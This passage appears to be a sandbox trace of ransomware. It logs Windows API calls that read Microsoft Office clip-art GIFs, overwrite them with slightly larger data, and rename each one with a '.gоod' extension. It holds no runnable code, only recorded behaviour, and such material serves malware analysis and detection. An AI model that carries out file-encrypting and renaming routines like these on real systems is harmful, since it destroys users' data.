nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3992dd0*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0140.701] CloseHandle (hObject=0x61c) returned 1 [0140.701] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", lpFilePart=0x0) returned 0x51 [0140.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0140.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0140.701] GetFileType (hFile=0x61c) returned 0x1 [0140.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0140.701] GetFileType (hFile=0x61c) returned 0x1 [0140.701] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x2313 [0140.701] WriteFile (in: hFile=0x61c, lpBuffer=0x3996120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3996120*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0141.038] CloseHandle (hObject=0x61c) returned 1 [0141.038] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", lpFilePart=0x0) returned 0x51 [0141.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0141.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.071] GetFileType (hFile=0x6e4) returned 0x1 [0141.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0141.071] GetFileType (hFile=0x6e4) returned 0x1 [0141.071] ReadFile (in: hFile=0x6e4, lpBuffer=0x3afacc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3afacc8*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0141.098] CloseHandle (hObject=0x6e4) returned 1 [0141.098] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", lpFilePart=0x0) returned 0x51 [0141.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0141.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.099] GetFileType (hFile=0x6e4) returned 0x1 [0141.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0141.099] GetFileType (hFile=0x6e4) returned 0x1 [0141.099] WriteFile (in: hFile=0x6e4, lpBuffer=0x3a6c0c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3a6c0c0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0141.099] CloseHandle (hObject=0x6e4) returned 1 [0141.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", lpFilePart=0x0) returned 0x51 [0141.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.gоod", lpFilePart=0x0) returned 0x56 [0141.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0141.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x504fcb1e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2323)) returned 1 [0141.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0141.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif.gоod")) returned 1 [0141.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", lpFilePart=0x0) returned 0x51 [0141.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0141.100] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), fInfoLevelId=0x0, lpFileInformation=0x3b77118 | out: lpFileInformation=0x3b77118*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f)) returned 1 [0141.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0141.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", lpFilePart=0x0) returned 0x51 [0141.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0141.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.101] GetFileType (hFile=0x6e4) returned 0x1 [0141.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0141.101] GetFileType (hFile=0x6e4) returned 0x1 [0141.101] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0141.101] ReadFile (in: hFile=0x6e4, lpBuffer=0x3b77560, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3b77560*, lpNumberOfBytesRead=0x1f9edca8*=0xf8f, lpOverlapped=0x0) returned 1 [0141.102] CloseHandle (hObject=0x6e4) returned 1 [0141.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", lpFilePart=0x0) returned 0x51 [0141.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0141.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.102] GetFileType (hFile=0x6e4) returned 0x1 [0141.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0141.102] GetFileType (hFile=0x6e4) returned 0x1 [0141.103] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1f8f [0141.103] WriteFile (in: hFile=0x6e4, lpBuffer=0x3b78830*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3b78830*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0141.103] CloseHandle (hObject=0x6e4) returned 1 [0141.103] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", lpFilePart=0x0) returned 0x51 [0141.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0141.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.103] GetFileType (hFile=0x6e4) returned 0x1 [0141.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0141.103] GetFileType (hFile=0x6e4) returned 0x1 [0141.103] ReadFile (in: hFile=0x6e4, lpBuffer=0x3b7ab08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3b7ab08*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0141.373] CloseHandle (hObject=0x6e4) returned 1 [0141.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", lpFilePart=0x0) returned 0x51 [0141.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0141.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.374] GetFileType (hFile=0x6e4) returned 0x1 [0141.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0141.374] GetFileType (hFile=0x6e4) returned 0x1 [0141.374] WriteFile (in: hFile=0x6e4, lpBuffer=0x360f910*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x360f910*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0141.374] CloseHandle (hObject=0x6e4) returned 1 [0141.374] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", lpFilePart=0x0) returned 0x51 [0141.374] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.gоod", lpFilePart=0x0) returned 0x56 [0141.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0141.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x507ab740, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f)) returned 1 [0141.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0141.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif.gоod")) returned 1 [0141.375] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", lpFilePart=0x0) returned 0x51 [0141.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0141.375] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif"), fInfoLevelId=0x0, lpFileInformation=0x396c078 | out: lpFileInformation=0x396c078*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1d)) returned 1 [0141.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0141.376] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", lpFilePart=0x0) returned 0x51 [0141.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0141.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.376] GetFileType (hFile=0x6e4) returned 0x1 [0141.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0141.376] GetFileType (hFile=0x6e4) returned 0x1 [0141.376] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xe1d [0141.376] ReadFile (in: hFile=0x6e4, lpBuffer=0x396d170, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x396d170*, lpNumberOfBytesRead=0x1f9edc08*=0xe1d, lpOverlapped=0x0) returned 1 [0141.378] CloseHandle (hObject=0x6e4) returned 1 [0141.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", lpFilePart=0x0) returned 0x51 [0141.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0141.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.795] GetFileType (hFile=0x6e4) returned 0x1 [0141.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0141.795] GetFileType (hFile=0x6e4) returned 0x1 [0141.795] WriteFile (in: hFile=0x6e4, lpBuffer=0x3a2bda8*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3a2bda8*, lpNumberOfBytesWritten=0x1f9edb18*=0xe20, lpOverlapped=0x0) returned 1 [0141.796] CloseHandle (hObject=0x6e4) returned 1 [0141.796] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", lpFilePart=0x0) returned 0x51 [0141.796] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.gоod", lpFilePart=0x0) returned 0x56 [0141.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0141.796] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x50bb1641, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe20)) returned 1 [0141.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0141.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif.gоod")) returned 1 [0141.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", lpFilePart=0x0) returned 0x51 [0141.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0141.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a2d080 | out: lpFileInformation=0x3a2d080*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38c)) returned 1 [0141.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0141.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", lpFilePart=0x0) returned 0x51 [0141.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0141.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.800] GetFileType (hFile=0x6e4) returned 0x1 [0141.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0141.800] GetFileType (hFile=0x6e4) returned 0x1 [0141.800] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x38c [0141.801] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a2d708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3a2d708*, lpNumberOfBytesRead=0x1f9edc08*=0x38c, lpOverlapped=0x0) returned 1 [0142.075] CloseHandle (hObject=0x6e4) returned 1 [0142.103] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", lpFilePart=0x0) returned 0x51 [0142.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0142.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0142.104] GetFileType (hFile=0x6e4) returned 0x1 [0142.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0142.105] GetFileType (hFile=0x6e4) returned 0x1 [0142.105] WriteFile (in: hFile=0x6e4, lpBuffer=0x3a9d5b0*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3a9d5b0*, lpNumberOfBytesWritten=0x1f9edb18*=0x390, lpOverlapped=0x0) returned 1 [0142.105] CloseHandle (hObject=0x6e4) returned 1 [0142.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", lpFilePart=0x0) returned 0x51 [0142.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0142.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0142.106] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), 